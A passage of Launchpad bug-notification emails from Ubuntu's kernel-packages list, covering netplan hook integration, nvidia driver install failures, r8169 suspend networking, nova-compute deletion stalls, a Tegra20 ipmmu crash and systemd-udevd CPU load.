dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: Gigabyte Technology Co., Ltd. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrF13:bd09/19/2012:svnGigabyteTechnologyCo.,Ltd.:pnTobefilledbyO.E.M.:pvrTobefilledbyO.E.M.:rvnGigabyteTechnologyCo.,Ltd.:rnZ77M-D3H:rvrx.x:cvnGigabyteTechnologyCo.,Ltd.:ct3:cvrToBeFilledByO.E.M.: dmi.product.name: To be filled by O.E.M. dmi.product.version: To be filled by O.E.M. dmi.sys.vendor: Gigabyte Technology Co., Ltd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1782813/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1718227] Re: replacement of ifupdown with netplan needs integration for /etc/network/if{up, down}.d scripts
** Changed in: openvswitch (Ubuntu) Importance: Undecided => Wishlist ** Changed in: openvswitch (Ubuntu) Status: New => Triaged -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to ubuntu-fan in Ubuntu. https://bugs.launchpad.net/bugs/1718227 Title: replacement of ifupdown with netplan needs integration for /etc/network/if{up,down}.d scripts Status in aiccu package in Ubuntu: Invalid Status in aoetools package in Ubuntu: New Status in avahi package in Ubuntu: New Status in bind9 package in Ubuntu: Invalid Status in chrony package in Ubuntu: Fix Released Status in clamav package in Ubuntu: Triaged Status in controlaula package in Ubuntu: Invalid Status in epoptes package in Ubuntu: New Status in ethtool package in Ubuntu: Triaged Status in guidedog package in Ubuntu: New Status in htpdate package in Ubuntu: New Status in ifenslave package in Ubuntu: Won't Fix Status in ifmetric package in Ubuntu: Won't Fix Status in ifupdown-multi package in Ubuntu: New Status in ifupdown-scripts-zg2 package in Ubuntu: Invalid Status in isatapd package in Ubuntu: New Status in lprng package in Ubuntu: New Status in miredo package in Ubuntu: New Status in mythtv package in Ubuntu: New Status in nplan package in Ubuntu: New Status in nss-pam-ldapd package in Ubuntu: New Status in ntp package in Ubuntu: Triaged Status in openntpd package in Ubuntu: New Status in openresolv package in Ubuntu: Won't Fix Status in openssh package in Ubuntu: New Status in openvpn package in Ubuntu: New Status in openvswitch package in Ubuntu: Triaged Status in postfix package in Ubuntu: New Status in quicktun package in Ubuntu: New Status in resolvconf package in Ubuntu: New Status in sendmail package in Ubuntu: New Status in shorewall-init package in Ubuntu: New Status in sidedoor package in Ubuntu: New Status in slrn package in Ubuntu: New Status in tinc package in Ubuntu: New Status in ubuntu-fan package in Ubuntu: Fix Released Status in ucarp package in Ubuntu: New Status in uml-utilities package in Ubuntu: New Status in uruk package in Ubuntu: New Status in vlan package in Ubuntu: Won't Fix Status in vzctl package in Ubuntu: Triaged Status in wide-dhcpv6 package in Ubuntu: New Status in wpa package in Ubuntu: New Bug description: when network is configured with ifupdown, scripts in /etc/network/ifup.d/ were called on network being brought up and /etc/network/ifdown.d were called on network being brought down. Any packages that shipped these hooks need to be verified to have the same functionality under a netplan configured system. # binpkgs=$(apt-file search /etc/network/if-up | sed 's,: .*,,' | sort -u) # for i in $binpkgs; do src=$(apt-cache show $i | awk '$1 == "Source:" { print $2; exit(0); }'); [ -z "$src" ] && src="$i"; echo $src; done | sort -u aiccu aoetools avahi bind9 chrony clamav controlaula epoptes ethtool guidedog htpdate ifenslave ifmetric ifupdown-extra ifupdown-multi ifupdown-scripts-zg2 isatapd lprng miredo mythtv-backend nss-pam-ldapd ntp openntpd openresolv openssh openvpn postfix quicktun resolvconf sendmail shorewall-init sidedoor slrn tinc ubuntu-fan ucarp uml-utilities uruk vlan vzctl wide-dhcpv6 wpa Related bugs: * bug 1718227: replacement of ifupdown with netplan needs integration for /etc/network/if{up,down}.d scripts * bug 1713803: replacement of resolvconf with systemd needs integration * bug 1717983: replacement of isc-dhcp-client with with systemd-networkd for dhclient needs integration ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: netplan (not installed) ProcVersionSignature: Ubuntu 4.12.0-11.12-generic 4.12.5 Uname: Linux 4.12.0-11-generic x86_64 NonfreeKernelModules: zfs zunicode zavl zcommon znvpair ApportVersion: 2.20.7-0ubuntu1 Architecture: amd64 CurrentDesktop: GNOME Date: Tue Sep 19 10:53:08 2017 EcryptfsInUse: Yes InstallationDate: Installed on 2015-07-23 (789 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Alpha amd64 (20150722.1) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: plan UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/aiccu/+bug/1718227/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1777326] Re: package libnvidia-gl-390 390.48-0ubuntu3 failed to install/upgrade: new libnvidia-gl-390:amd64 package pre-installation script subprocess returned error exit status
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: nvidia-graphics-drivers-390 (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-390 in Ubuntu. https://bugs.launchpad.net/bugs/1777326 Title: package libnvidia-gl-390 390.48-0ubuntu3 failed to install/upgrade: new libnvidia-gl-390:amd64 package pre-installation script subprocess returned error exit status 2 Status in nvidia-graphics-drivers-390 package in Ubuntu: Confirmed Bug description: I have problems installing nvidia drivers My laptop has a optimus video card [sudo] password di nicola: == /sys/devices/pci:00/:00:01.0/:01:00.0 == modalias : pci:v10DEd1050sv1043sd1682bc03sc00i00 vendor : NVIDIA Corporation model: GF119M [GeForce GT 520M] manual_install: True driver : nvidia-340 - distro non-free driver : nvidia-driver-390 - distro non-free recommended driver : xserver-xorg-video-nouveau - distro free builtin ProblemType: Package DistroRelease: Ubuntu 18.04 Package: libnvidia-gl-390 390.48-0ubuntu3 ProcVersionSignature: Ubuntu 4.15.0-23.25-generic 4.15.18 Uname: Linux 4.15.0-23-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 Date: Sun Jun 17 16:05:49 2018 ErrorMessage: new libnvidia-gl-390:amd64 package pre-installation script subprocess returned error exit status 2 InstallationDate: Installed on 2018-06-16 (0 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3 PythonDetails: N/A RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.1 SourcePackage: nvidia-graphics-drivers-390 Title: package libnvidia-gl-390 390.48-0ubuntu3 failed to install/upgrade: new libnvidia-gl-390:amd64 package pre-installation script subprocess returned error exit status 2 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers-390/+bug/1777326/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1779817] Re: r8169 no internet after suspending
I have to correct myself a bit: Network coming up correctly after suspend only works from time to time. On the cases where it's not working, the driver still has to be reloaded. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1779817 Title: r8169 no internet after suspending Status in linux package in Ubuntu: Confirmed Bug description: When my computer wakes up from suspending, there's no internet. Unplugging and replugging cable doesn't work, restarting network service doesn't work also. Only after restarting the computer, internet comes back. It only started happening after I freshly installed Ubuntu Budgie (18.04) and did all the system updates. Before I was using Ubuntu with Unity (16.04) and there was no problems with my internet. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-24-generic 4.15.0-24.26 ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18 Uname: Linux 4.15.0-24-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: minihydra 2085 F pulseaudio /dev/snd/controlC0: minihydra 2085 F pulseaudio /dev/snd/controlC1: minihydra 2085 F pulseaudio CurrentDesktop: Budgie:GNOME Date: Tue Jul 3 10:13:19 2018 HibernationDevice: RESUME=UUID=3747bab8-c258-4600-bc24-5d1f56a642dd InstallationDate: Installed on 2018-07-02 (1 days ago) InstallationMedia: Ubuntu-Budgie 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) IwConfig: enp2s0no wireless extensions. lono wireless extensions. MachineType: System manufacturer System Product Name ProcFB: 0 nouveaufb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic root=UUID=a5ceb36e-76f7-4bd4-a37b-0b91b995c635 ro quiet splash vt.handoff=1 RelatedPackageVersions: linux-restricted-modules-4.15.0-24-generic N/A linux-backports-modules-4.15.0-24-generic N/A linux-firmware 1.173.1 RfKill: SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/28/2010 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2103 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: M4A77T dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev X.0x dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2103:bd06/28/2010:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKComputerINC.:rnM4A77T:rvrRevX.0x:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.family: To Be Filled By O.E.M. dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1779817/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1766543] Re: instance deletion takes a while and blocks nova-compute
Raising a task for the kernel for an opinion on how to triage this problem further; Marking the nova task as Medium but leaving as New for now until we figure out what's going on - this is not a show stopped but is a pain. ** Also affects: linux (Ubuntu) Importance: Undecided Status: New ** Changed in: nova (Ubuntu) Importance: Undecided => Medium -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Incomplete Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1766543/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1766543] Missing required logs.
This bug is missing log files that will aid in diagnosing the problem. While running an Ubuntu kernel (not a mainline or third-party kernel) please enter the following command in a terminal window: apport-collect 1766543 and then change the status of the bug to 'Confirmed'. If, due to the nature of the issue you have encountered, you are unable to run this command, please add a comment stating that fact and change the bug status to 'Confirmed'. This change has been made by an automated script, maintained by the Ubuntu Kernel Team. ** Changed in: linux (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Incomplete Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1766543/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783746] Re: ipmmu is always registered
** Changed in: linux (Ubuntu) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783746 Title: ipmmu is always registered Status in linux package in Ubuntu: Confirmed Bug description: Hi, booting the bionic kernel (4.15.0-29-generic) on my Tegra20 device (no iommu), I found it crashes during display driver setup. The bootlog (and crash) is attached. Asking on Tegra IRC channel, digetx found that this is caused by the IPMMU-VMSA driver which is always registered via initcall. Adding "initcall_blacklist=ipmmu_init" to the kernel parameters makes it boot fine. Maybe this buggy driver should be disabled in the config (or fixed somehow)? To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783746/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1759836] Re: systemd-udevd consumes 100% of CPU
After some time CPU load grew to 100% again. Have found another workaround which is working so far (disabling nvidia rules for udev): sudo mv /lib/udev/rules.d/71-nvidia.rules /lib/udev/rules.d/71-nvidia.save (and then restart). -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bluez in Ubuntu. https://bugs.launchpad.net/bugs/1759836 Title: systemd-udevd consumes 100% of CPU Status in Bluez Utilities: Confirmed Status in linux: Confirmed Status in The Ubuntu Power Consumption Project: New Status in bluez package in Ubuntu: Invalid Status in systemd package in Ubuntu: Confirmed Bug description: The systemd-udevd proccess consumes 100% of a thread everytime, but i'm not noticing any difference in my computer. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: systemd 237-3ubuntu6 ProcVersionSignature: Ubuntu 4.15.0-13.14-generic 4.15.10 Uname: Linux 4.15.0-13-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.9-0ubuntu2 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Thu Mar 29 08:52:54 2018 InstallationDate: Installed on 2018-03-05 (23 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180304) MachineType: Dell Inc. Inspiron N5010 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-13-generic root=UUID=3c29e292-f1ae-45e1-a0ed-a82524278ce1 ro quiet splash vt.handoff=1 SourcePackage: systemd SystemdDelta: [EXTENDED] /lib/systemd/system/rc-local.service → /lib/systemd/system/rc-local.service.d/debian.conf [EXTENDED] /lib/systemd/system/user@.service → /lib/systemd/system/user@.service.d/timeout.conf 2 overridden configuration files found. UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 01/25/2011 dmi.bios.vendor: Dell Inc. dmi.bios.version: A12 dmi.board.name: 08R0GW dmi.board.vendor: Dell Inc. dmi.board.version: A12 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: A12 dmi.modalias: dmi:bvnDellInc.:bvrA12:bd01/25/2011:svnDellInc.:pnInspironN5010:pvrA12:rvnDellInc.:rn08R0GW:rvrA12:cvnDellInc.:ct8:cvrA12: dmi.product.name: Inspiron N5010 dmi.product.version: A12 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/bluez/+bug/1759836/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783746] Missing required logs.
This bug is missing log files that will aid in diagnosing the problem. While running an Ubuntu kernel (not a mainline or third-party kernel) please enter the following command in a terminal window: apport-collect 1783746 and then change the status of the bug to 'Confirmed'. If, due to the nature of the issue you have encountered, you are unable to run this command, please add a comment stating that fact and change the bug status to 'Confirmed'. This change has been made by an automated script, maintained by the Ubuntu Kernel Team. ** Changed in: linux (Ubuntu) Status: New => Incomplete ** Tags added: bionic -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783746 Title: ipmmu is always registered Status in linux package in Ubuntu: Incomplete Bug description: Hi, booting the bionic kernel (4.15.0-29-generic) on my Tegra20 device (no iommu), I found it crashes during display driver setup. The bootlog (and crash) is attached. Asking on Tegra IRC channel, digetx found that this is caused by the IPMMU-VMSA driver which is always registered via initcall. Adding "initcall_blacklist=ipmmu_init" to the kernel parameters makes it boot fine. Maybe this buggy driver should be disabled in the config (or fixed somehow)? To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783746/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp